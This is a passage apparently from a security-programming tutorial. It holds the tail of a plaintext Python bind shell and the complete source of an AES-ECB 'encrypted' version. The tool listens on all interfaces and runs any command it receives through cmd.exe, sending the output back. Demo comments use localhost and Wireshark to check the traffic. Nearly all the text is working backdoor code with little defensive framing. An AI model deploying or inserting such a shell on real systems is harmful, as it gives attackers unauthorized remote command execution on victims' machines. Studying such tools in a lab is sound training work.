    # do it till some error occurs
    s.close()
    exit()

    ## ----- THREAD CAPABLE FUNCTIONS -- Receiving data ----- ##

    # s:socket
    def recv_thread(s):
    try:
    while True:
    data = decode_and_strip(s.recv(MAX_BUFFER))
    if data:
    print("\n" + data, end="", flush=True)
    except:
    s.close()
    exit()


    ## --------------- SERVER FUNCTIONS --------------- ##

    # IDEA -- when the server receives a connection, it will give the user
    # -- the ability to execute commands as if they have just opened
    # -- a cmd.exe terminal on their machine

    def server():
    # setting up the socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # bind to our default port
    s.bind(("0.0.0.0", DEFAULT_PORT))

    # listen for connections
    s.listen()

    print("[ -- Starting bind shell! -- ]")

    # wait for our connections to come in
    while True:
    client_socket, addr = s.accept()
    print("[ -- New user connected! -- ]")

    # when new connection --> start a new thread
    # -- pass the client socket as an argument
    threading.Thread(target=shell_thread, args=(client_socket,)).start()


    ## --------------- CLIENT FUNCTIONS --------------- ##

    # ip:ip address to connect to
    def client(ip):
    # create the socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # connect to that host on the default port
    s.connect((ip, DEFAULT_PORT))

    print("[ -- Connecting to bind shell! -- ]")

    # already connected --> start up both the send and the receive threads
    # -- so that we are not stuck or blocked while waiting
    # -- to send or receiving data

    # set up and start the send thread
    threading.Thread(target=send_thread, args=(s,)).start()
    # set up and start the receive thread
    threading.Thread(target=recv_thread, args=(s,)).start()


    ## ----- CONTROLLING THE FUNCTIONALITY -- PARSING ARGS ----- ##
    # to execute the script differently depending on whether we are
    # -- trying to listen as a bind shell or connect to a bind shell

    parser = argparse.ArgumentParser()

    # starting the server -- listen mode
    parser.add_argument("-l", "--listen", action="store_true", help="Setup a bind shell", required=False)

    # to connect to a server
    parser.add_argument("-c", "--connect", help="Connect to a bind shell", required=False)

    # parse the arguments
    args = parser.parse_args()

    if args.listen:
    # start the server if we want to listen
    server()
    elif args.connect:
    client(args.connect)


    # DEMO -- start the listener -- `python project5.py -l`
    # -- then in a new terminal start the client and connect to localhost
    # -- `python project5.py -c 127.0.0.1`
    # -- Run some commands -- `whoami` and `ipconfig`
    # -- Check with wireshark -- the connection is plain text -- not encrypted


    print("-"*80)
    ## --------------- END --------------- ##
  • Project#5 Source Code | Encrypted Version | "project5_encrypted.py" | (play around with commenting/uncommenting as you see fit)

    import socket, subprocess, threading, argparse

    from Crypto.Cipher import AES
    from Crypto.Random import get_random_bytes
    from Crypto.Util.Padding import pad, unpad

    print("-"*80)
    ## --------------- SYMMETRIC ENCRYPTION --------------- ##
    # NOTE -- a class for handling symmetric encryption/decryption
    # -- with a shared key

    class AESCipher:
    def __init__(self, key=None):
    # generate key if none was passed in
    self.key = key if key else get_random_bytes(32)

    # weak AES cipher in ECB mode
    self.cipher = AES.new(self.key, AES.MODE_ECB)

    def encrypt(self, plaintext):
    return self.cipher.encrypt(pad(plaintext, AES.block_size)).hex()

    def decrypt(self, encrypted):
    return unpad(self.cipher.decrypt(bytearray.fromhex(encrypted)), AES.block_size)

    # overwrite the string function to display the key
    def __str__(self):
    return "Key -> {}".format(self.key.hex())


    # NOTE -- overwrite all s.send with this new encrypted version
    # -- similarly -- change all the s.recv occurences to also decrypt the data

    # s:socket -- msg:message
    def encrypted_send(s, msg):
    s.send(cipher.encrypt(msg).encode("latin-1"))

    ## --------------- CONSTANTS AND VARIABLES --------------- ##

    DEFAULT_PORT = 1234
    # max buffer size for the socket
    MAX_BUFFER = 4096


    ## --------------- UTILITIES --------------- ##

    # execute a command
    def execute_cmd(cmd):
    try:
    output = subprocess.check_output("cmd /c {}".format(cmd), stderr=subprocess.STDOUT)
    except:
    output = b"Command failed!"

    return output


    # test it -- works
    # print(execute_cmd("whoami"))
    # test it -- fails
    # print(execute_cmd("whoaaasdmi"))


    # decoding and stripping data
    def decode_and_strip(s):
    return s.decode("latin-1").strip()


    ## ----- THREAD CAPABLE FUNCTIONS -- Executing commands ----- ##

    # NOTE -- the thread that will handle new user connections
    # -- threading, because we want to be able to have more than one user connect
    # -- to the bind shell and use it

    # s:socket as a parameter
    def shell_thread(s):
    # when first connected -- tell the user
    encrypted_send(s, b"[ -- Connected! --]")

    try:
    # infinite loop -- waiting for command from the user
    while True:
    encrypted_send(s, b"\r\nEnter Command> ")

    # receive data up to the maximum buffer size
    data = s.recv(MAX_BUFFER)
    if data:
    # decrypt the data
    buffer = cipher.decrypt(decode_and_strip(data))
    buffer = decode_and_strip(buffer)

    # nothing has been sent | exit
    if not buffer or buffer == "exit":
    # close the socket
    s.close()
    exit()

    print("> Executing command: '{}'".format(buffer))

    # send through the socket
    # execute the command and send the result back to the user
    # -- over the socket
    encrypted_send(s, execute_cmd(buffer))

    except:
    # if error occurs -- close the socket
    s.close()
    exit()


    ## ----- THREAD CAPABLE FUNCTIONS -- Sending data ----- ##

    # NOTE -- needed functionalities -- dual functionality
    # -- to listen and accept connection AND to initiate connections
    # -- basically, we need to be able to run our script in both server and client
    # -- modes -- depending on how we start the script

    # s:socket
    def send_thread(s):
    try:
    while True:
    # accept data from the user on the cmd line
    data = input() + "\n"
    # send that data over the socket
    encrypted_send(s, data.encode("latin-1"))
    except:
    # do it till some error occurs
    s.close()
    exit()

    ## ----- THREAD CAPABLE FUNCTIONS -- Receiving data ----- ##

    # s:socket
    def recv_thread(s):
    try:
    while True:
    data = decode_and_strip(s.recv(MAX_BUFFER))
    if data:
    # decrypt the data
    data = cipher.decrypt(data).decode("latin-1")
    print(data, end="", flush=True)
    except:
    s.close()
    exit()


    ## --------------- SERVER FUNCTIONS --------------- ##

    # IDEA -- when the server receives a connection, it will give the user
    # -- the ability to execute commands as if they have just opened
    # -- a cmd.exe terminal on their machine

    def server():
    # setting up the socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # bind to our default port
    s.bind(("0.0.0.0", DEFAULT_PORT))

    # listen for connections
    s.listen()

    print("[ -- Starting bind shell! -- ]")

    # wait for our connections to come in
    while True:
    client_socket, addr = s.accept()
    print("[ -- New user connected! -- ]")

    # when new connection --> start a new thread
    # -- pass the client socket as an argument
    threading.Thread(target=shell_thread, args=(client_socket,)).start()


    ## --------------- CLIENT FUNCTIONS --------------- ##

    # ip:ip address to connect to
    def client(ip):
    # create the socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # connect to that host on the default port
    s.connect((ip, DEFAULT_PORT))

    print("[ -- Connecting to bind shell! -- ]")

    # already connected --> start up both the send and the receive threads
    # -- so that we are not stuck or blocked while waiting
    # -- to send or receiving data

    # set up and start the send thread
    threading.Thread(target=send_thread, args=(s,)).start()
    # set up and start the receive thread
    threading.Thread(target=recv_thread, args=(s,)).start()


    ## ----- CONTROLLING THE FUNCTIONALITY -- PARSING ARGS ----- ##
    # to execute the script differently depending on whether we are
    # -- trying to listen as a bind shell or connect to a bind shell

    parser = argparse.ArgumentParser()

    # starting the server -- listen mode
    parser.add_argument("-l", "--listen", action="store_true", help="Setup a bind shell", required=False)

    # to connect to a server
    parser.add_argument("-c", "--connect", help="Connect to a bind shell", required=False)

    # specifying the encryption key
    parser.add_argument("-k", "--key", help="Encryption key", type=str, required=False)

    # parse the arguments
    args = parser.parse_args()

    # when trying to connect to a bind shell -- key needs to be included
    # -- otherwise the server won't be able to communicate properly

    if args.connect and not args.key:
    parser.error("-c CONNECT requires -k KEY!")

    # key is specified -- create cipher
    if args.key:
    cipher = AESCipher(bytearray.fromhex(args.key))
    else:
    # start new cipher with a random key
    cipher = AESCipher()

    # check the current encryption key we are using
    print(cipher)


    if args.listen:
    # start the server if we want to listen
    server()
    elif args.connect:
    client(args.connect)


    # DEMO -- start the listener -- `python project5_encrypted.py -l`
    # -- then in a new terminal start the client and connect to localhost
    # -- `python project5_encrypted.py -c 127.0.0.1 -k <key-from-server>`
    # -- Run some commands -- `whoami` and `ipconfig`
    # -- Check with wireshark -- the connection is ENCRYPTED


    print("-"*80)
    ## --------------- END --------------- ##